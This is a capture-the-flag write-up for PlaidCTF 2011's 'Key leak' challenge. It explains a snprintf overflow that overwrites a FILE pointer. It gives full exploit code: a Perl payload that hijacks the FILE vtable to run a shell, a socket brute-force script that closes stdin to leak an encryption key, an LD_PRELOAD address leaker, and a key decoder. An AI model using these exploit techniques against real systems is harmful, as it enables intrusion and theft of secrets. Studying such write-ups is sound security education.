Joel Eriksson
CEO/Founder of ClevCode. Vulnerability researcher, exploit developer and reverse-engineer. Previous CTO and co-founder of Bitsec, which was acquired by Nixu, and Cycura which was acquired by WELL Technologies. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

PlaidCTF 2011 – 21 – Key leak – 450 pts

This is my writeup for the twenty-first challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“We have obtained the binary for AED’s internal data encryption service, running at a9.amalgamated.biz:10240.
Obtain AED’s data encryption key.”

The binary for this level was available for download, so that it could be inspected in IDA Pro and debugged with GDB. Turns out it is executed through inetd, or some similar service. It reads its input data from stdin and writes to stdout, and does not contain any socket handling code by itself.

By analyzing the code in IDA Pro I noticed that snprintf() is called with 80 as its length argument. The problem with this is that the stack buffer it writes to is only 64 bytes large. This is not enough to overwrite the saved return address, we will however overwrite the FILE-pointer for a log file right before fwrite() and fclose() is called. I knew that the FILE-struct contains a pointer to an array of function pointers, and first wrote an exploit that used this to achieve code execution. Since the buffer we control is much smaller than the FILE-struct it was a bit tricky to get right, but I finally ended up with this piece of code to achieve code execution on my own system with ASLR deactivated:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ cat keyleak-xpl.pl 
#!/usr/bin/perl

my $buffer_addr = 0xffffc630;
my $do_system = 0xf7c9bf30;
my $cmd = ";id;sh;"; # Prepend ";" since eax points 36 bytes before this string...

$cmd .= "A"x(44-length($cmd));

print pack("L",$do_system),           # vtable + 0x1c = gets called by _IO_fwrite(), with eax = vtable pointer
      pack("L",$buffer_addr-0x1c),    # vtable pointer @ fp + 148 + _vtable_offset
      $cmd,                           # command line
      chr(0x82),                      # _vtable_offset as a signed byte -> 0x82 = -126
      "AAA",                          # padding
      pack("L",$buffer_addr-18);      # Overwritten FILE-pointer (fp)
je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ (./keyleak-xpl.pl; cat) | ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin 
../04fb7dde1e519a7efd248c43ce9967a40276981e.bin: /lib32/libcrypto.so.1.0.0: no version information available (required by ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin)
Username: 
sh: U�����@������1304132799:: not found
uid=1000(je) gid=1000(je)

Note that I overwrite the FILE-pointer with the address to my buffer minus 18. This is to make sure I am able to control the _vtable_offset variable and make fwrite() use the function pointer I’m placing in the beginning of the buffer. It is also critical that the word that happens to be at this stack address is a negative number (e.g most significant bit set), to avoid a crash due to dereferencing a value out of my control.

If you want to try this on your own system, deactivate ASLR with sysctl kernel.randomize_va_space=0 (as root) and determine the buffer address with:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ gdb -q ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin core
...
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `../04fb7dde1e519a7efd248c43ce9967a40276981e.bin'.
Program terminated with signal 11, Segmentation fault.
#0  _IO_fwrite (buf=0xffffc604, size=1, count=73, fp=0xbadc0ddb) at iofwrite.c:43
43	iofwrite.c: No such file or directory.
	in iofwrite.c
(gdb) up
#1  0xf7ffccd9 in ?? ()
(gdb) p/x $ebp-72
$1 = 0xffffc610
(gdb) x/i do_system
   0xf7c9bf30 :	push   %ebp

If your libc is stripped from symbols, you can disassemble system() to find the do_system() function pointer. Example:

(gdb) x/18i system
   0xf7c9c3d0 <__libc_system>:          sub    $0xc,%esp
   0xf7c9c3d3 <__libc_system+3>:        mov    %esi,0x4(%esp)
   0xf7c9c3d7 <__libc_system+7>:        mov    0x10(%esp),%esi
   0xf7c9c3db <__libc_system+11>:       mov    %ebx,(%esp)
   0xf7c9c3de <__libc_system+14>:       call   0xf7c79a0f <__i686.get_pc_thunk.bx>
   0xf7c9c3e3 <__libc_system+19>:       add    $0x11cc11,%ebx
   0xf7c9c3e9 <__libc_system+25>:       mov    %edi,0x8(%esp)
   0xf7c9c3ed <__libc_system+29>:       test   %esi,%esi
   0xf7c9c3ef <__libc_system+31>:       je     0xf7c9c410 <__libc_system+64>
   0xf7c9c3f1 <__libc_system+33>:       mov    %gs:0xc,%eax
   0xf7c9c3f7 <__libc_system+39>:       test   %eax,%eax
   0xf7c9c3f9 <__libc_system+41>:       jne    0xf7c9c434 <__libc_system+100>
   0xf7c9c3fb <__libc_system+43>:       mov    (%esp),%ebx
   0xf7c9c3fe <__libc_system+46>:       mov    %esi,%eax
   0xf7c9c400 <__libc_system+48>:       mov    0x8(%esp),%edi
   0xf7c9c404 <__libc_system+52>:       mov    0x4(%esp),%esi
   0xf7c9c408 <__libc_system+56>:       add    $0xc,%esp
   0xf7c9c40b <__libc_system+59>:       jmp    0xf7c9bf30 

This depends on two addresses though, the address to the buffer and the offset to the libc internal do_system() function. Although it’s certainly possible, it could potentially take a pretty long time to bruteforce both of these values when ASLR is active and unfortunately this is the case on a9.amalgamated.biz where the keyleak server resides. So, let’s figure out another way to exploit this bug.

Reading the description for this mission we learn that we only need to obtain the encryption key used by the program, we don’t actually need code execution. So, let’s see how the key is used by the program and if there is some way we could retrieve it without actually executing code or getting a shell.

The file descriptor to the key file has not yet been opened when the vulnerability is triggered, so finding a way to directly dump the contents of the key file seems unlikely. However, this piece of code indicates that we may do something else that might be useful:

      usr_buf_len = read(0, usr_buf, 1024u);
      key_buf_len = read(fd, key_buf, 1024u);

A buffer is read from file descriptor 0 = stdin = the socket descriptor in this case. Then the key is read from the key file descriptor. If we overflow the FILE-pointer with the address of stdin we can close this descriptor, which will make the next call to open() to reuse file descriptor 0. The next call to open() opens the key file in this case, which means that the key will be read into usr_buf (user input buffer). Since this read() will consume everything in the keyfile, the read() into key_buf will result in an empty string.

So, how would this help us? Well, analyzing the rest of the code it derives an AES encryption key from the contents of the keyfile combined with a 32 byte random salt.

      if ( RAND_bytes(salt, 32) == 1 )
      {
        hash_algo = EVP_sha256();
        if ( PKCS5_PBKDF2_HMAC(key_buf, key_buf_len, salt, 32, 4096, hash_algo, 32, derived_key) == 1 )
        ...

The key would in this case be an empty string. :)

Then it continues with generating a random IV for initializing the AES-256 cipher along with the key.

          if ( RAND_bytes(iv, 16) == 1 )
          {
            EVP_CIPHER_CTX_init(&ctx);
            cipher = EVP_aes_256_cbc();
            if ( EVP_EncryptInit_ex(&ctx, cipher, 0, derived_key, iv) == 1 )

It finishes off by encrypting the user input buffer (containing the real key), and then writing the salt, the iv and the encrypted buffer to stdout.

              if ( EVP_EncryptUpdate(&ctx, encbuf, &n, usr_buf, usr_buf_len) == 1 )
              {
                if ( EVP_EncryptFinal_ex(&ctx, &encbuf[n], &tmp_n) == 1 )
                {
                  EVP_CIPHER_CTX_cleanup(&ctx);
                  n += tmp_n;
                  fflush(stdout);
                  write(1, salt, 32u);
                  write(1, iv, 16u);
                  write(1, encbuf, n);

So, if we manage to close stdin we will get the real key encrypted with a key we will be able to determine by using the known salt, iv and an empty string as key.

Since ASLR is used we had to use bruteforce to find the stdin pointer. Only 12 bits of the glibc base is randomized, and empirically it seems as if some addresses are much more likely to be used than others. The most effective way to bruteforce is therefore to use a static “guess”, based on the address taken from a previous execution. Since we had not yet realized that the a5 box where we already had shell access through SSH used the same glibc version as the a9 box, we used our PC Rouge exploit to upload the keyleak program and the following small library:

#include 
#include 

__attribute__((constructor))
void my_init()
{
	printf("0x%x\n", (unsigned int) stdin);
        _exit(1);
}

By loading this library with LD_PRELOAD when executing keyleak we get to know the address of stdin for this particular execution attempt, and can use this value to bruteforce with.

$ gcc -shared -o xxx.so xxx.c
$ LD_PRELOAD=./xxx.so ./keyleak
0xb75f0420

To perform the bruteforce I developed the following script:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 10240;

###########################################################################

STDOUT->autoflush(1);

###########################################################################

my $found = 0;
my $i = 0;
my $line;
my $buf;

while (! $found) {
	print STDERR ".";

	# Connect to server
	my $sock = IO::Socket::INET->new(
			PeerAddr => $addr,
			PeerPort => $port,
			Proto	 => 'tcp'
		) or die "connect: $!\n";

	$sock->autoflush(1);

	print $sock "A"x56,pack("L",0xb75f0420),chr(10);

	$buf = "";

	while ($line = <$sock>) {
		next if $line eq "Username: ";

		$buf .= $line;
	}

	next if $buf eq "";

	$buf =~ s/.*Key length is 0 bytes\.\n//s;

	print STDERR "\nFound it!\n";

	while (length($buf) > 0) {
		$buf =~ /(.)(.*)/s;
		my $c = $1;
		$buf = $2;
		print chr(10) if ($i > 0 && ($i % 16) == 0);
		printf("%02X ", ord($c));
		$i = $i + 1;
	}

	print "\n";

	last;
}

###########################################################################

exit 0;

This is the output from a sample execution:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ ./keyleak-getkey.pl 
................................
Found it!
C2 3C 34 D3 43 58 F1 26 3E 38 2C 91 3F 58 DB 8F 
DA 8E 58 90 BA E9 B7 FD 92 5F D9 6C 05 87 85 72 
56 C5 39 12 95 BA C8 9E D7 A0 52 82 CA 8E C3 FD 
74 97 E4 16 5A D8 23 8D 3E B6 49 61 A6 C3 54 CE 
8F 17 C2 E8 0E 9A 88 A2 DE 80 5B B6 E2 97 D6 19

The first 32 bytes is the salt used when deriving the encryption key. This is followed by the 16 bytes IV buffer that is used when initializing AES, and finally by 32 bytes representing the encrypted key.

To get the plaintext key we can now feed this into the following program, originally developed by Kaliman while I worked on the stdin bruteforce script:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ cat decode_key.c
#include 
#include 
#include 
#include 
#include 

int aes_dec(unsigned char *data, int len, unsigned char *salt, unsigned char *iv, unsigned char *out)
{
	EVP_CIPHER_CTX ctx;
	int n1 = 0, n2 = 0;
	char key[32];

	memset(key, 0, 32);
	PKCS5_PBKDF2_HMAC(key, 0, salt, 32, 4096, EVP_sha256(), sizeof(key), key);
	EVP_CIPHER_CTX_init(&ctx);
	EVP_DecryptInit_ex(&ctx, EVP_aes_256_cbc(), NULL, key, iv);
	EVP_DecryptUpdate(&ctx, out, &n1, data, len);
	EVP_DecryptFinal_ex(&ctx, out+n1, &n2);

	return n1 + n2;
}

int main()
{
	char salt[32], iv[16], buf[32], key[32];
	ssize_t n;

	if (((n = read(0, salt, sizeof(salt)) != sizeof(salt))
	||  ((n = read(0, iv, sizeof(iv)))) != sizeof(iv))
	||  ((n = read(0, buf, sizeof(buf))) != sizeof(buf))) {
		if (n == -1)
			perror("read");
		return 1;
	}

	n = aes_dec(buf, sizeof(buf), salt, iv, key);
	write(1, key, n);

	return 0;
}
je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ perl -pne \
  's{\s*}{}sgex;s{([0-9A-Fa-f][0-9A-Fa-f])}{chr(hex($1))}sgex' | ./decode_key
C2 3C 34 D3 43 58 F1 26 3E 38 2C 91 3F 58 DB 8F 
DA 8E 58 90 BA E9 B7 FD 92 5F D9 6C 05 87 85 72 
56 C5 39 12 95 BA C8 9E D7 A0 52 82 CA 8E C3 FD 
74 97 E4 16 5A D8 23 8D 3E B6 49 61 A6 C3 54 CE 
8F 17 C2 E8 0E 9A 88 A2 DE 80 5B B6 E2 97 D6 19
^D
I grow tomatoes in my garden.